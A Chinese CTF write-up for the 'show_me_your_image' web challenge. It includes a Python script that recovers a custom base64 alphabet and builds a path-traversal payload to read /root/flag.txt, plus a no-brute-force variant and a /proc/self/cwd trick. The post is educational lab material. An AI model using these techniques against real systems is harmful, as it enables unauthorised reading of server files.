中关村CTFwriteup taro Posted on Mar 17 2021 CTF # web3 show_me_your_image 这题有一些坑,可能很多同学都被`image.php`坑了,以为这是一个PHP程序,其实是一个flask.路由的名字叫做`image.php` 其实从header里边我们也能发现这并不是一个php文件,观察一下,我们上传一张图片,可以通过`image.php`这个路由获取到这个文件的内容,感觉这个参数像是base64,尝试解码一下,发现解不出来  我们上传的文件名为 `auto.jpg`,得到的结果是`0LP1A4hRjmj=` 正常的base64应该是`YXV0by5qcGc=`,我们回顾一下base64的知识 > 摘自维基百科  题目应该是替换了这个编码表,导致无法正常解码出base64,我们可以控制上传的文件名,爆破出编码表即可获取任意文件 ## 爆破编码表 这里给出爆破脚本 ```python from urllib.parse import unquote ,quote import requests import base64 import re import string import random s = requests.session() url = "http://127.0.0.1:8999" new_dict = {} def get_b_name(): test_name = ''.join(random.sample(string.ascii_letters + string.digits, 50)) o_file_name = test_name + '.jpg' origin = base64.b64encode(str.encode(o_file_name)) origin = bytes.decode(origin) upload_url = url + "/upload.php" with open('test.jpg', 'rb') as file: files = {'file': (o_file_name, file)} response = requests.post(upload_url, files=files) text = response.text file_name = re.search(r'"img.php\?name=(.+?)"', text).group(1) file_name = unquote(file_name) return origin, file_name def make_dict(origin, file_name): num = 0 for i in origin: # print(i, file_name[num]) new_dict[i] = file_name[num] num += 1 if __name__ == '__main__': length = len(new_dict) for i in range(15): origin, file_name = get_b_name() make_dict(origin, file_name) length = len(new_dict) # print(length) res = [] flag = bytes.decode(base64.b64encode(b'../../../../root/flag.txt')) for f in flag: if f == '=': res.append('=') else: res.append(new_dict[f]) payload = ''.join(res) print(quote(payload)) ``` ## 无需爆破编码表 在回顾一下base64的知识, > 如果要编码的字节数不能被3整除,最后会多出1个或2个字节,那么可以使用下面的方法进行处理:先使用0字节值在末尾补足,使其能够被3整除,然后再进行Base64的编码。在编码后的Base64文本后加上一个或两个=号,代表补足的字节数。也就是说,当最后剩余两个八位字节(2个byte)时,最后一个6位的Base64字节块有四位是0值,最后附加上两个等号;如果最后剩余一个八位字节(1个byte)时,最后一个6位的base字节块有两位是0值,最后附加一个等号。 ### 尝试一下! 我们先上传一个名字叫做`ab.png`的文件,得到编码是`0Y7+jmhg` 再上传一个名字叫做`123ab.png`的文件,得到编码是`l57B0Y7+jmhg` 我们发现后**8**位完全相同 ### 开始读取! 当我们想读取这个`/root/flag.txt`文件的时候,让前面的字符编码后不影响后面的字符,即`ab.png`前的字符个数正好可以被3整除,这样这个base64就分成了两个分组 这样我们就可以构造一个文件名为`../..///root/flag.txtab.png`的文件,得到`axb8axb8a4n4AOn1aOMu0Yj+Sof10Y7+jmhg` 去掉后8位,得到的就是`../../root/flag.txt`的内容 关于flag的文件位置,可以通过读取`/proc/self/cwd/templates/upload.html`读取到flag的文件位置 PHP常用代码 Nginx配置不当导致的安全问题